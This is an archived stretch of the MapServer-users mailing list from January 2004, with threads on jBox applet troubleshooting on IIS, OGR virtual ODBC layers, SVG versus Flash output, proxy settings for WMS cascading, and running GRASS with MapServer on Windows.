Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau:  604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================


> -----Original Message-----
> From: Patricio Cifuentes Ithal [mailto:pcifuentes at siigsa.cl] 
> Sent: Wednesday, January 21, 2004 10:19 AM
> To: mapserver-users at lists.gis.umn.edu
> Subject: [Mapserver-users] Heeeeeelp in spanish please
> 
> 
> prueba desde chile _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 


From rich at greenwoodmap.com  Wed Jan 21 10:49:41 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Wed, 21 Jan 2004 11:49:41 -0700
Subject: [Mapserver-users] jBox
In-Reply-To: <200401211241972.SM02752@PLANGIS>
References: <200401211241972.SM02752@PLANGIS>
Message-ID: <400EC9C5.6010006@greenwoodmap.com>

Michael Smith wrote:

> I have jBox installed on windows 2000 IIS 5.  I followed (I think) the
> instructions on installing.  Created wwwroot/java/jBox/ folder and copied
> evalThread.class, jBox.java, and jBox.class to that directory. 

You don't need to put jBox.java in there, that's the source code, but 
that's not your problem either.

What type of image are you creating: gif, jpeg, png... ?

What browser are you using? Have you checked that it works with Java (a 
Java VM is installed and Java is enabled in your browser)? You can test 
it at http://www2.tetonwyo.org/mapserver

Are you getting any error messages?

View your page source in your browser and make sure the substitutions 
are correct in:  
(you should not see the square brakets and you should have a valid, 
accessible path to an image.

Rich

> modifications to my html file and everthing seems to work other than I am
> getting a "gray box" where my map used to be.  Does anyone have any ideas
> what I may have missed?
> 
> Inserted in head of html:
> 
> 
> 
> 
> Inserted this into the body of the html:
>           
>           
>                             height="600" name="jBox" MAYSCRIPT>
>               
>             
>           
>         
> 
> AND
> 
> 
> 
> 
> Michael Smith, Planner II
> City of San Angelo
> Planning & Development
> 325.657.4210 Fax: 325.481.2648
> Email: msmith at sanangelompo.org 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 


-- 
Richard Greenwood
www.greenwoodmap.com


From spencer at dmsolutions.ca  Wed Jan 21 10:43:01 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Wed, 21 Jan 2004 13:43:01 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
In-Reply-To: <06B403677C41D51194550002A55107D201F78FE7@s5-stf1-r1.nrn.nrcan.gc.ca>
References: <06B403677C41D51194550002A55107D201F78FE7@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <400EC835.7090702@magma.ca>

I believe there is a limitation in the OGR OBDC connection that requires 
that you provide a user name and password in the OVF file (I think that 
is mentioned in the wiki also).

Cheers,

Paul

Julien, Heryk wrote:
> Hi,
> I'm trying out the Virtual Spatial Data procedure in MapServerWiki
> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with IIS
> and an Access 2000 ODBC connection.
> 
> I keep on getting the following error message when I attempt ton see my map:
> 
> msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.
> 
> msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'. File
> not found or unsupported format.
> 
> Anyone can help me?
> 
> 
> 
> Here is my virtual file (mgw.ovf):
> 
> 
>     
>         ODBC:MGWI_MAPSERVER 
>  	tblloc 
> 	wkbPoint
> 	         
> 	 
>     
> 
> 
> 
> 
> 
> My virtual layer is in the same directory as my shapefiles:
> 
> SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
> 
> 
> 
> 
> Here is the section of my mapfile where I call my virtual layer:
> 
> LAYER
> 	NAME "MGWI_TBLLOC"
> 	TYPE POINT
> 	CONNECTIONTYPE OGR
> 	CONNECTION "mgwi.ovf"
> 	DATA "MGWI_TBLLOC"
> 	STATUS DEFAULT
> 	LABELITEM "LOCID"
> 	PROJECTION
> 		"init=epsg:26920"
> 	END #projection
> 	CLASS
> 		SYMBOL 'circle'
> 		SIZE 8
> 		LABEL
> 			COLOR 132 31 31
> 			SHADOWCOLOR 218 218 218
> 			SHADOWSIZE 2 2
> 			TYPE TRUETYPE
> 			FONT arial-bold
> 			FORCE true
> 			SIZE 10
> 			POSITION auto
> 			PARTIALS FALSE
> 			MINDISTANCE 0
> 			BUFFER 2
> 		END # end of label
> 	    TEMPLATE
> "d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html"
> 	END # CLASS
> END # LAYER
> 
> 
> 
> 
> 
> 
> ==========================================
> H?ryk
> NRCan
> 
> -----Message d'origine-----
> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> Envoy? : Wednesday, January 14, 2004 8:44 AM
> ? : 'spencer at dmsolutions.ca'
> Cc : 'Mapserver-users at lists.gis.umn.edu'
> Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
> 
> 
> Thanks
> 
> H?ryk
> 
> -----Message d'origine-----
> De : Paul Spencer [mailto:pagameba at magma.ca]
> Envoy? : Tuesday, January 13, 2004 5:00 PM
> ? : Julien, Heryk
> Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
> Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
> 
> 
> Maybe you missed it?
> 
> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html
> 
> Cheers,
> 
> Paul
> 
> Julien, Heryk wrote:
> 
> 
>>Hi Paul,
>>Could you send me or post information on the "new format in 
>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>source and map two of the columns to x and y locations"?
>>
>>Thanks
>>H?ryk
>>
>>-----Message d'origine-----
>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>Envoy? : Monday, January 05, 2004 9:23 AM
>>? : 'spencer at dmsolutions.ca'
>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>Objet : RE: [Mapserver-users] MySQL and Mapserver
>>
>>
>>Hi,
>>I am also very interseted in that fonction. I would like to be able to map
>>well positions from a database x and y colums. Would this permit me to
> 
> have
> 
>>an up to date point geometry layer which reflects the changes in my well
>>database? Can you send me more details?
>>
>>Thanks
>>
>>H?ryk
>>NRCan
>>
>>-----Message d'origine-----
>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>Envoy? : Saturday, January 03, 2004 4:28 PM
>>? : bartvde at xs4all.nl
>>Cc : mapserver-users at lists.gis.umn.edu
>>Objet : Re: [Mapserver-users] MySQL and Mapserver
>>
>>
>>Bart,
>>
>>if you are interested in point geometries only, there is a new format in 
>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>source and map two of the columns to x and y locations.  We've used it 
>>for a couple of clients and it works very nicely.  If you are interested 
>>I can send you more details.
>>
>>Cheers,
>>
>>Paul
>>
>>Bart van den Eijnden wrote:
>>
>>
>>
>>>Hi list,
>>>
>>>I see in the history log that there has been some work done recently 
>>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>>connector. Can it be used already?
>>>
>>>Also, is it possible to keep the geometries in shapefiles and use 
>>>Mapserver JOINS to link to tables in MySQL?
>>>
>>>Thanks in advance for the info.
>>>
>>>Best regards,
>>>Bart
>>>_______________________________________________
>>>Mapserver-users mailing list
>>>Mapserver-users at lists.gis.umn.edu
>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>
>>
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From ozialien at cox.net  Wed Jan 21 10:52:39 2004
From: ozialien at cox.net (ozialien)
Date: Wed, 21 Jan 2004 11:52:39 -0700
Subject: [Mapserver-users] SVG versus Flash
In-Reply-To: 
Message-ID: <000501c3e04f$c195bd00$6701a8c0@ernestslaptop>

Has anyone considered a SHP->XML Format->XSLT->SVG?



-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Steve Lime
Sent: Wednesday, January 21, 2004 9:34 AM
To: mapserver-users at lists.gis.umn.edu; bartvde at xs4all.nl
Subject: Re: [Mapserver-users] SVG versus Flash


With SVG you're not limited to the method you mention. The development
version has had some new features added so that you can you normal MapServer
queries/templates to generate SVG. Here's a message I sent to the list a
while back:

------------------
Here's an example link that shows SVG MapServer output:

http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/testin
g/svg/test.map&mode=itemnquery&qitem=cty_name&qstring=/./&qlayer=county


It's super simple, and just dumps MN counties to a SVG document. There's a
smile animation (provided by a student over at the UMN) that you see when
move your mouse over an individual county. The mapfile and templates can be
found at:

  http://maps.dnr.state.mn.us/testing/svg/svg_simple.zip 

Note that you'll need the CVS version of MapServer for this stuff to work.
I've tried the above URL with Mozilla (native SVG support, animation doesn't
work) and IE (Adobe plugin) with success.

Please pass along questions or comments!
------------------

I've only worked with SVG briefly, but was quite impressed with its
potential. It seems much more ammenable to on-the-fly creation than flash
(since it's ascii). Biggest downside, and it's a huge one, it the lack of
client software. The Adobe plugin works great, but their support for
non-windows clients sucks, and there is little else out there that supports
a significant portion of the SVG spec.

Steve

Stephen Lime
Data & Applications Manager

Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937

>>> Bart van den Eijnden  1/20/2004 1:52:02 PM >>>
Hi list,

if you want to use vector-based clients, Mapserver basically has 2
options:

1. use Flash swf output
2. use GML output on the WFS interface and transform this into SVG
(xslt)

Can anybody name some strong or weak points of both techniques, and are

there any working implementations out there?

I know there is a very good comparison at:
http://www.carto.net/papers/svg/comparison_flash_svg/ 

but I am just wondering if anybody has some experience with this choice or 
even with both techniques and Mapserver.

Thanks in advance for any input on this.

Best regards,
Bart
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users





From rich at greenwoodmap.com  Wed Jan 21 11:08:51 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Wed, 21 Jan 2004 12:08:51 -0700
Subject: [Mapserver-users] jBox
In-Reply-To: <00b801c3e049$e4860a50$6400a8c0@BLANKEN>
References: <200401211241972.SM02752@PLANGIS> <00b801c3e049$e4860a50$6400a8c0@BLANKEN>
Message-ID: <400ECE43.8030402@greenwoodmap.com>

Wim Blanken (PI) wrote:

> 2. The jbox applet does not function on MS VM if you have downloaded it from
> the mapserver utilities section. It was compiled with a JDK not compatible
> with 1.1. You have to recompile it with a java compiler (for example in SDK
> 1.4 with: javac -target 1.1 jBox.class). If you use JRE instead if MS VM
> than it will work OK.

I compiled the version of jBox which is downloaded from the mapserver 
utilities. I used the Sun JDK 1.3 to compile it and it works fine for me 
in IE 6.0 with MS VM 5.0.0.3810. What versions of IE and MS VM are you 
running into problems with ?

-- 
Richard Greenwood
www.greenwoodmap.com


From msmith at sanangelompo.org  Wed Jan 21 11:38:19 2004
From: msmith at sanangelompo.org (Michael Smith)
Date: Wed, 21 Jan 2004 13:38:19 -0600
Subject: [Mapserver-users] jBox
In-Reply-To: <400ECE43.8030402@greenwoodmap.com>
Message-ID: <200401211437938.SM02752@PLANGIS>

 I am using IE 6.0, not sure which version of MS VM I have (how do I check
version?).  I went to Rich's website and was able to view his maps both with
java and without java.  I don't receive any error messages and everything
seems to be working fine.  

Once I initialize mapserver, it seems that everything is working (my zoom
functions work, and layer control) I just see a gray box where my map should
be.  It is as if my map is hidden.

****Rich wrote*****
View your page source in your browser and make sure the substitutions are
correct in:   (you should not
see the square brakets and you should have a valid, accessible path to an
image.
****************

Should this be something to the effect of "http://192.168.110.1/[img]"  I
did not change the path in my source it still shows "http://[host],[img].  I
am not sure which image I should be refering too here..help!

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Richard
Greenwood
Sent: Wednesday, January 21, 2004 1:09 PM
To: Wim Blanken (PI); mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] jBox

Wim Blanken (PI) wrote:

> 2. The jbox applet does not function on MS VM if you have downloaded 
> it from the mapserver utilities section. It was compiled with a JDK 
> not compatible with 1.1. You have to recompile it with a java compiler 
> (for example in SDK
> 1.4 with: javac -target 1.1 jBox.class). If you use JRE instead if MS 
> VM than it will work OK.

I compiled the version of jBox which is downloaded from the mapserver
utilities. I used the Sun JDK 1.3 to compile it and it works fine for me in
IE 6.0 with MS VM 5.0.0.3810. What versions of IE and MS VM are you running
into problems with ?

--
Richard Greenwood
www.greenwoodmap.com
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From msmith at sanangelompo.org  Wed Jan 21 11:41:19 2004
From: msmith at sanangelompo.org (Michael Smith)
Date: Wed, 21 Jan 2004 13:41:19 -0600
Subject: [Mapserver-users] jBox
In-Reply-To: <400EC9C5.6010006@greenwoodmap.com>
Message-ID: <200401211440205.SM02752@PLANGIS>

 I forgot to mention that I am creating gif images.

-----Original Message-----
From: Richard Greenwood [mailto:rich at greenwoodmap.com] 
Sent: Wednesday, January 21, 2004 12:50 PM
To: Michael Smith; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] jBox

Michael Smith wrote:

> I have jBox installed on windows 2000 IIS 5.  I followed (I think) the 
> instructions on installing.  Created wwwroot/java/jBox/ folder and 
> copied evalThread.class, jBox.java, and jBox.class to that directory.

You don't need to put jBox.java in there, that's the source code, but that's
not your problem either.

What type of image are you creating: gif, jpeg, png... ?

What browser are you using? Have you checked that it works with Java (a Java
VM is installed and Java is enabled in your browser)? You can test it at
http://www2.tetonwyo.org/mapserver

Are you getting any error messages?

View your page source in your browser and make sure the substitutions are
correct in:   (you should not
see the square brakets and you should have a valid, accessible path to an
image.

Rich

> modifications to my html file and everthing seems to work other than I 
> am getting a "gray box" where my map used to be.  Does anyone have any 
> ideas what I may have missed?
> 
> Inserted in head of html:
> 
> 
> 
> 
> Inserted this into the body of the html:
>           
>           
>                             height="600" name="jBox" MAYSCRIPT>
>               
>             
>           
>         
> 
> AND
> 
> 
> 
> 
> Michael Smith, Planner II
> City of San Angelo
> Planning & Development
> 325.657.4210 Fax: 325.481.2648
> Email: msmith at sanangelompo.org
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 


--
Richard Greenwood
www.greenwoodmap.com



From bartvde at xs4all.nl  Wed Jan 21 11:42:15 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Wed, 21 Jan 2004 20:42:15 +0100
Subject: [Mapserver-users] proxy
Message-ID: 

Hi list,

today I have installed Mapserver in a production environment.

In this environment all the HTTP traffic in browsers goes through a proxy. 
So this means I cannot cascade maps with Mapserver in the production 
environment coming from external WMS servers.

Is there a solution for this to get the HTTP traffic emerging from 
Mapserver to go through the proxy as well?

BTW: this is one of the possible causes for the "msExecuteHTTPRequest: 
time out of 30 seconds exceeded ..." error which I see regularly in the 
mail archive. If you put the URL in a browser it works, but that's because 
the browser goes through the proxy and Mapserver does not.

Best regards,
Bart


From wim.blanken at planet.nl  Wed Jan 21 11:49:45 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Wed, 21 Jan 2004 20:49:45 +0100
Subject: [Mapserver-users] jBox
References: <200401211440205.SM02752@PLANGIS>
Message-ID: <00f801c3e057$b917ff00$6400a8c0@BLANKEN>

Hello Micheal,

Is the statusbar mentioning that it cannot find the class files? if you
move the mousepointer on the applet frame.

Wim Blanken

----- Original Message -----
From: "Michael Smith" 
To: "'Richard Greenwood'" 
Cc: ; "'Steve Lime'"
; "'Wim Blanken (PI)'" 
Sent: Wednesday, January 21, 2004 8:41 PM
Subject: RE: [Mapserver-users] jBox


> I forgot to mention that I am creating gif images.
>
> -----Original Message-----
> From: Richard Greenwood [mailto:rich at greenwoodmap.com]
> Sent: Wednesday, January 21, 2004 12:50 PM
> To: Michael Smith; mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] jBox
>
> Michael Smith wrote:
>
> > I have jBox installed on windows 2000 IIS 5.  I followed (I think) the
> > instructions on installing.  Created wwwroot/java/jBox/ folder and
> > copied evalThread.class, jBox.java, and jBox.class to that directory.
>
> You don't need to put jBox.java in there, that's the source code, but
that's
> not your problem either.
>
> What type of image are you creating: gif, jpeg, png... ?
>
> What browser are you using? Have you checked that it works with Java (a
Java
> VM is installed and Java is enabled in your browser)? You can test it at
> http://www2.tetonwyo.org/mapserver
>
> Are you getting any error messages?
>
> View your page source in your browser and make sure the substitutions are
> correct in:   (you should
not
> see the square brakets and you should have a valid, accessible path to an
> image.
>
> Rich
>
> > modifications to my html file and everthing seems to work other than I
> > am getting a "gray box" where my map used to be.  Does anyone have any
> > ideas what I may have missed?
> >
> > Inserted in head of html:
> > 
> >
> >
> >
> > Inserted this into the body of the html:
> >           
> >           
> >              >                height="600" name="jBox" MAYSCRIPT>
> >               
> >             
> >           
> >         
> >
> > AND
> >
> > 
> >
> >
> > Michael Smith, Planner II
> > City of San Angelo
> > Planning & Development
> > 325.657.4210 Fax: 325.481.2648
> > Email: msmith at sanangelompo.org
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >
>
>
> --
> Richard Greenwood
> www.greenwoodmap.com
>



From msmith at sanangelompo.org  Wed Jan 21 11:57:37 2004
From: msmith at sanangelompo.org (Michael Smith)
Date: Wed, 21 Jan 2004 13:57:37 -0600
Subject: [Mapserver-users] jBox
In-Reply-To: <00f801c3e057$b917ff00$6400a8c0@BLANKEN>
Message-ID: <200401211456711.SM02752@PLANGIS>

Just as I got your email I did notice as I moved my cursor over the applet
window it did give me and error message:

*************
exception: com.ms.security.SecurityExceptionEx[jBox.init]: Unable to check
hostname "192.168.110.1http". 
*************

192.168.110.1 is my IIS webserver ip.



-----Original Message-----
From: Wim Blanken (PI) [mailto:wim.blanken at planet.nl] 
Sent: Wednesday, January 21, 2004 1:50 PM
To: Michael Smith
Cc: mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] jBox

Hello Micheal,

Is the statusbar mentioning that it cannot find the class files? if you move
the mousepointer on the applet frame.

Wim Blanken

----- Original Message -----
From: "Michael Smith" 
To: "'Richard Greenwood'" 
Cc: ; "'Steve Lime'"
; "'Wim Blanken (PI)'" 
Sent: Wednesday, January 21, 2004 8:41 PM
Subject: RE: [Mapserver-users] jBox


> I forgot to mention that I am creating gif images.
>
> -----Original Message-----
> From: Richard Greenwood [mailto:rich at greenwoodmap.com]
> Sent: Wednesday, January 21, 2004 12:50 PM
> To: Michael Smith; mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] jBox
>
> Michael Smith wrote:
>
> > I have jBox installed on windows 2000 IIS 5.  I followed (I think) 
> > the instructions on installing.  Created wwwroot/java/jBox/ folder 
> > and copied evalThread.class, jBox.java, and jBox.class to that
directory.
>
> You don't need to put jBox.java in there, that's the source code, but
that's
> not your problem either.
>
> What type of image are you creating: gif, jpeg, png... ?
>
> What browser are you using? Have you checked that it works with Java 
> (a
Java
> VM is installed and Java is enabled in your browser)? You can test it 
> at http://www2.tetonwyo.org/mapserver
>
> Are you getting any error messages?
>
> View your page source in your browser and make sure the substitutions 
> are correct in:   (you 
> should
not
> see the square brakets and you should have a valid, accessible path to 
> an image.
>
> Rich
>
> > modifications to my html file and everthing seems to work other than 
> > I am getting a "gray box" where my map used to be.  Does anyone have 
> > any ideas what I may have missed?
> >
> > Inserted in head of html:
> > 
> >
> >
> >
> > Inserted this into the body of the html:
> >           
> >           
> >              >                height="600" name="jBox" MAYSCRIPT>
> >               
> >             
> >           
> >         
> >
> > AND
> >
> > 
> >
> >
> > Michael Smith, Planner II
> > City of San Angelo
> > Planning & Development
> > 325.657.4210 Fax: 325.481.2648
> > Email: msmith at sanangelompo.org
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >
>
>
> --
> Richard Greenwood
> www.greenwoodmap.com
>




From siki at agt.bme.hu  Wed Jan 21 14:16:40 2004
From: siki at agt.bme.hu (Siki Zoltan)
Date: Wed, 21 Jan 2004 21:16:40 -0100 (GMT+1)
Subject: TR: [Mapserver-users] Implementing ArcView's "hot link" function
 in MapServer
In-Reply-To: <06B403677C41D51194550002A55107D201F78FE2@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: 

Hi,

I have implemented a simple file based solution at
www.agt.bme.hu/maps/index_e.html (Choose the first from the Mapserver 
solutions). I store the file name of the photos in the dbf file of the
shape. In an item query the filename field is substituted in the
src field of an img tag.
I got the idea from this list about a mounth ago :)

Bye
Zoltan



From wim.blanken at planet.nl  Wed Jan 21 12:10:35 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Wed, 21 Jan 2004 21:10:35 +0100
Subject: [Mapserver-users] jBox
References: <200401211241972.SM02752@PLANGIS>
 <00b801c3e049$e4860a50$6400a8c0@BLANKEN> <400ECE43.8030402@greenwoodmap.com>
Message-ID: <00ff01c3e05a$a3c60d10$6400a8c0@BLANKEN>

Hello Richard,

I've used the compiled version in the downloaded zip file and it would not
work on
Windows XP with IE 6.0
The statusbar gave me a message: class not found.
After I recompiled the jBox using the option -target 1.1 it would work.

Sincerely

Wim Blanken

----- Original Message -----
From: "Richard Greenwood" 
To: "Wim Blanken (PI)" ;

Sent: Wednesday, January 21, 2004 8:08 PM
Subject: Re: [Mapserver-users] jBox


> Wim Blanken (PI) wrote:
>
> > 2. The jbox applet does not function on MS VM if you have downloaded it
from
> > the mapserver utilities section. It was compiled with a JDK not
compatible
> > with 1.1. You have to recompile it with a java compiler (for example in
SDK
> > 1.4 with: javac -target 1.1 jBox.class). If you use JRE instead if MS VM
> > than it will work OK.
>
> I compiled the version of jBox which is downloaded from the mapserver
> utilities. I used the Sun JDK 1.3 to compile it and it works fine for me
> in IE 6.0 with MS VM 5.0.0.3810. What versions of IE and MS VM are you
> running into problems with ?
>
> --
> Richard Greenwood
> www.greenwoodmap.com



From rich at greenwoodmap.com  Wed Jan 21 12:02:00 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Wed, 21 Jan 2004 13:02:00 -0700
Subject: [Mapserver-users] jBox
In-Reply-To: <200401211437938.SM02752@PLANGIS>
References: <200401211437938.SM02752@PLANGIS>
Message-ID: <400EDAB8.2020501@greenwoodmap.com>

Michael Smith wrote:

> Should this be something to the effect of "http://192.168.110.1/[img]"  I
> did not change the path in my source it still shows "http://[host],[img].  I
> am not sure which image I should be refering too here..help!

When you view the page source in your browser (right click on the page a 
select "View Source", it should look something like:


Mapserver should be replacing [host] and [img] with 192.168.110.1 and 
/tmp/tc10747138481992.gif.

192.168.110.1 is your host. /tmp/tc10747138481992.gif is the image which 
mapserver created and the path to the image. In my case the path is 
/tmp/ and the image name is tc10747138481992.gif, which is the name of 
my map "tc" and a semi-random number. Each time you request a map from 
mapserver it creates a new image so this will be different each time.

In your message, above, you have a slash (/) between the host and image 
in one case and a comma (,) in another case. In your source template 
file, there should be nothing, it should look like:
    
When the page is rendered, the [host] and [img] should be replaced as 
discussed above. This doesn't appear to be happening to you [img] tag if 
I am reading your email correctly.

Try just sticking the [img] somewhere on your page an see if mapserver 
does the appropriate replacement on it. Chek that an image is indeed 
being created for each request. Check your IMAGEPATH and IMAGEURL in 
your map file.

-- 
Richard Greenwood
www.greenwoodmap.com


From nacional at cbs.umn.edu  Wed Jan 21 12:12:33 2004
From: nacional at cbs.umn.edu (Pericles Nacionales)
Date: Wed, 21 Jan 2004 14:12:33 -0600 (CST)
Subject: [Mapserver-users] Has anyone setup GRASS + Mapserver on Windows
 2000 ?
In-Reply-To: <002e01c3e053$80e56310$6c000a0a@sclark>
References:  <031101c3df9b$fbf4df80$6c000a0a@sclark>
 
 <002e01c3e053$80e56310$6c000a0a@sclark>
Message-ID: 

Stephen,

See answers to questions below:

On Wed, 21 Jan 2004, Stephen Clark wrote:

> Perry,
>
> Do you have a link to compile instructions to libgrass for Windows?
> FYI, I have a VC .NET compiler.
>

No, sorry, I've never compiled libgrass on Windows--either in Cygwin or
with the native compiler.

> Do you know if GDAL 1.1.9 supports grass directly?
>

According to the GDAL website, it supports reading of GRASS rasters but
not creating/exporting.  See
http://www.remotesensing.org/gdal/frmt_grass.html for more info.

> Also is is possible to script some grass commands and make them available
> via the mapserver interface.
> What I am planning on doing is using GRASS to calculate a shortest route via
> some sort of web interface
> and display the results in Mapserver.  Do you know if anyone has tried this?
>

It sounds like you need to use Mapscript for your project.  Others can
probably give you a better answer to this than me.  How about it list?

You might also get a better answer to this question from the GRASS mailing
list.


> thanks
> Stephen
>
>

Ciao!
-Perry N.



> ----- Original Message -----
> From: "Pericles Nacionales" 
> To: "Stephen Clark" 
> Cc: 
> Sent: Tuesday, January 20, 2004 2:21 PM
> Subject: Re: [Mapserver-users] Has anyone setup GRASS + Mapserver on Windows
> 2000 ?
>
>
> > Stephen,
> >
> > If I haven't completely switched to GNU/Linux I probably would have.
> > Anyway, I can give you an advice if you're planning to go that route.  The
> > easiest way to do it is to compile everything under cygwin--GRASS,
> > MapServer, and all the libraries needed (GDAL, PROJ, GD2, etc).  You can
> > then use apache or IIS servers but make sure to avoid having spaces on
> > your path names.  So, no "C:/Program Files/Apache Group/Apache/htdocs".
> > Instead, install apache directly on "C:\" to get "C:/Apache/htdocs".  I
> > don't think you have that problem with IIS since the default
> > directory--"C:\Inetpub\wwwroot"--doesn't contain spaces.  There is also a
> > version of apache compiled under cygwin.  You can use that instead.
> >
> > Of course, you can just try compiling libgrass natively on Windows.  Then
> > you can can try compiling it with GDAL.  If it compiles without problems,
> > I'd take my "compiling under cygwin is the easiest way" statement back.
> > The rest is just a matter of finding out how to use GRASS data in
> > MapServer:
> > http://lists.gis.umn.edu/pipermail/mapserver-users/2003-April/003454.html
> >
> > Good luck!
> > -Perry N.
> >
> >
> > On Tue, 20 Jan 2004, Stephen Clark wrote:
> >
> > > Hi all,
> > >
> > > I am wondering if there is anyone has setup GRASS + Mapserver on Windows
> 2000 ?
> > >
> > > thanks
> > > Stephen
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
>
>


From msmith at sanangelompo.org  Wed Jan 21 12:21:33 2004
From: msmith at sanangelompo.org (Michael Smith)
Date: Wed, 21 Jan 2004 14:21:33 -0600
Subject: [Mapserver-users] jBox
In-Reply-To: <400EDAB8.2020501@greenwoodmap.com>
Message-ID: <200401211520736.SM02752@PLANGIS>

Here is what is retured when I do view source:

          
          
            
              
            
          
        

Any suggestions?
 

-----Original Message-----
From: Richard Greenwood [mailto:rich at greenwoodmap.com] 
Sent: Wednesday, January 21, 2004 2:02 PM
To: Michael Smith; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] jBox

Michael Smith wrote:

> Should this be something to the effect of "http://192.168.110.1/[img]"  
> I did not change the path in my source it still shows 
> "http://[host],[img].  I am not sure which image I should be refering too
here..help!

When you view the page source in your browser (right click on the page a
select "View Source", it should look something like:


Mapserver should be replacing [host] and [img] with 192.168.110.1 and
/tmp/tc10747138481992.gif.

192.168.110.1 is your host. /tmp/tc10747138481992.gif is the image which
mapserver created and the path to the image. In my case the path is /tmp/
and the image name is tc10747138481992.gif, which is the name of my map "tc"
and a semi-random number. Each time you request a map from mapserver it
creates a new image so this will be different each time.

In your message, above, you have a slash (/) between the host and image in
one case and a comma (,) in another case. In your source template file,
there should be nothing, it should look like:
     When the page is
rendered, the [host] and [img] should be replaced as discussed above. This
doesn't appear to be happening to you [img] tag if I am reading your email
correctly.

Try just sticking the [img] somewhere on your page an see if mapserver does
the appropriate replacement on it. Chek that an image is indeed being
created for each request. Check your IMAGEPATH and IMAGEURL in your map
file.

--
Richard Greenwood
www.greenwoodmap.com



From wim.blanken at planet.nl  Wed Jan 21 12:17:05 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Wed, 21 Jan 2004 21:17:05 +0100
Subject: [Mapserver-users] jBox
References: <200401211456711.SM02752@PLANGIS>
Message-ID: <011401c3e05b$8bd9ac10$6400a8c0@BLANKEN>

Hello Micheal,

Never saw that one before, seems like a security thingy from father
Microsoft.
I'll have a google search and see what that would bring.....
Anybody any thoughts on this?

Wim Blanken

----- Original Message -----
From: "Michael Smith" 
To: "'Wim Blanken (PI)'" 
Cc: 
Sent: Wednesday, January 21, 2004 8:57 PM
Subject: RE: [Mapserver-users] jBox


> Just as I got your email I did notice as I moved my cursor over the applet
> window it did give me and error message:
>
> *************
> exception: com.ms.security.SecurityExceptionEx[jBox.init]: Unable to check
> hostname "192.168.110.1http".
> *************
>
> 192.168.110.1 is my IIS webserver ip.
>
>
>
> -----Original Message-----
> From: Wim Blanken (PI) [mailto:wim.blanken at planet.nl]
> Sent: Wednesday, January 21, 2004 1:50 PM
> To: Michael Smith
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] jBox
>
> Hello Micheal,
>
> Is the statusbar mentioning that it cannot find the class files? if you
move
> the mousepointer on the applet frame.
>
> Wim Blanken
>
> ----- Original Message -----
